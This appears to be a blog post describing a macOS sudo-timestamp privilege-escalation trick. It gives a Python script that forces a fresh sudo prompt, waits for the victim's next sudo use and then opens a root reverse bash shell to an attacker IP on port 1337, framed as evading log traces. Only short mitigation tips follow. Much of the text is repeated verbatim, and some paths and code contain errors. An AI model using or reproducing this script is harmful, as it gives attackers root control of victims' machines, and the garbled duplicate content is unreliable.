This method of escalation requires waiting. For how long you ask? As long as it takes for the victim to run a command using sudo. It's no secret that you only need to run the sudo command with a password once before you have a default of three minutes to enter sudo commands without a password. The same applies to anyone logged into your account via ssh or other method. This is convenient for many users but has been exploited in the past.
Of course there could be a large amount of time between when malware hits a system and when a sudo command is executed, but that's why attackers use persistence mechanisms. When the sudo binary is executed successfully with the correct password the timestamp on the following file is updated on OS X.
/var/log/db/$User
Where $USER exists for every user who has successfully run a command using sudo. The Sudo binary then uses the timestamp on this file to check whether or not three minutes have passed. If three minutes have passed the user will have to enter their password again.
So theoretically we should just be able to watch this file for a timestamp change. If it changes that means anyone logged in under the same user account of the updated $USER file can run a command as sudo for the next three minutes. Here is how we would write a monitoring script in python.
import os import time import getpass file="/var/db/sudo/%s" % (getpass.getuser()) #get the current modified timestamp of the file originalTS = time.ctime(os.path.getmtime(file)) #loop that will monitor for this file's timestamp to be updated exitLoop=False while exitLoop is False: newTS = time.ctime(os.path.getmtime(file)) if orignalTS != newTS: print "Root enabled. You own the system," exitLoop = True
However, there is one minor flaw with this plan. As a standard user we don't have permissions to access /var/db/sudo/$USER. So now what?!
All is not lost. Although we can't access the timestamps on the $USER file, we CAN access the timestamps on the /var/db/sudo directory. The next time a user logs in as root for the very first time the modified timestamp will change on this directory due to a new file being added. Don't stop reading here.
We obviously don't want to wait until another sudo user is created on the system and logs in for the first time. After all, a lot of OS X systems are personal computers. A new user might never get created. So instead, we can use the sudo -K command to make it as if our victim user had never logged in using sudo before.
>> sudo -K
After running this command you'll notice that the /var/db/sudo/$USER no longer exists. Now we can start monitoring /var/db/sudo for a modified timestamp. The next time our victim user logs in as root they will be greeted by the first time sudo message.
>> sudo ps aux
If they're not an observent user this might raise a red flag. Otherwise, they'll log in and you'll have three minutes to run any command you want as sudo without a password. This will only work if you're monitoring process is running as the same user who executes a command with sudo. Note that by checking the timestamp of this directory we don't have to worry about leaving any noisy traces of foul play in system logs.
Here's some python code that when executed on a system will wait until it has root access and then execute a reverse bash shell as root
The Script
Running this script in the background on a victim system and setting up a nc listener on an attacker system will bring a root shell to you the next the victim runs a command as sudo.
Avoiding this haxy pwnage
You have a few options
Run "sudo -k"
Running sudo -k after running a command with sudo will end the password free sudo usage without deleting the $USER file. Note that -K (capital) will log the user out and delete the $USER file as where -k keeps the $USER file.
Change the sudoers config
Alternatively, you can change the amount of time between sudo execution with password and a sudo execution without password by adding this line to /etc/sudoers. I've done it using the defaults command.
>> defaults env_reset,timestamp_timeout=<number of minutes>
Set this value to 0 if you want to type in your password every time a command is run using sudo.
Again, this is not an exploit, this is just a hacky technique that also needs patience. That being said don't do this outside of your test environment... or when playing pranks on your Wife that require root permissions.
We obviously don't want to wait until another sudo user is created on the system and logs in for the first time. After all, a lot of OS X systems are personal computers. A new user might never get created. So instead, we can use the sudo -K command to make it as if our victim user had never logged in using sudo before.
>> sudo -K
After running this command you'll notice that the /var/db/sudo/$USER no longer exists. Now we can start monitoring /var/db/sudo for a modified timestamp. The next time our victim user logs in as root they will be greeted by the first time sudo message.
>> sudo ps aux
WARNING: Improper use of the sudo command could lead to data loss
or the deletion of important system files. Please double-check your
typing when using sudo. Type "man sudo" for more information.
To proceed, enter your password, or type Ctrl-C to abort.
Password:
If they're not an observent user this might raise a red flag. Otherwise, they'll log in and you'll have three minutes to run any command you want as sudo without a password. This will only work if you're monitoring process is running as the same user who executes a command with sudo. Note that by checking the timestamp of this directory we don't have to worry about leaving any noisy traces of foul play in system logs.
Here's some python code that when executed on a system will wait until it has root access and then execute a reverse bash shell as root
The Script
import os
import time
import getpass
import subprocess
dirToMonitor = "/var/db/sudo/"
#remove sudo flag for victim
subprocess.call(['sudo -K'], shell=True)
originalTS = time.ctime(os.path.getmtime(dirToMonitor))
#loop that will monitor for directory timestamp to be updated
exitLoop=False
while exitLoop is False:
newTS = time.ctime(os.path.getmtime(dirToMonitor))
if originalTS != newTS:
exitLoop = True
try:
subprocess.call(['sudo bash -i >& /dev/tcp/192.168.1.116/1337 0>&1'], shell=True)
except:
print "Something went wrong :("
Running this script in the background on a victim system and setting up a nc listener on an attacker system will bring a root shell to you the next the victim runs a command as sudo.
Avoiding this haxy pwnage
You have a few options
Run "sudo -k"
Running sudo -k after running a command with sudo will end the password free sudo usage without deleting the $USER file. Note that -K (capital) will log the user out and delete the $USER file as where -k keeps the $USER file.
Change the sudoers config
Alternatively, you can change the amount of time between sudo execution with password and a sudo execution without password by adding this line to /etc/sudoers. I've done it using the defaults command.
>> defaults env_reset,timestamp_timeout=<number of minutes>
Set this value to 0 if you want to type in your password every time a command is run using sudo.
Again, this is not an exploit, this is just a hacky technique that also needs patience. That being said don't do this outside of your test environment... or when playing pranks on your Wife that require root permissions.
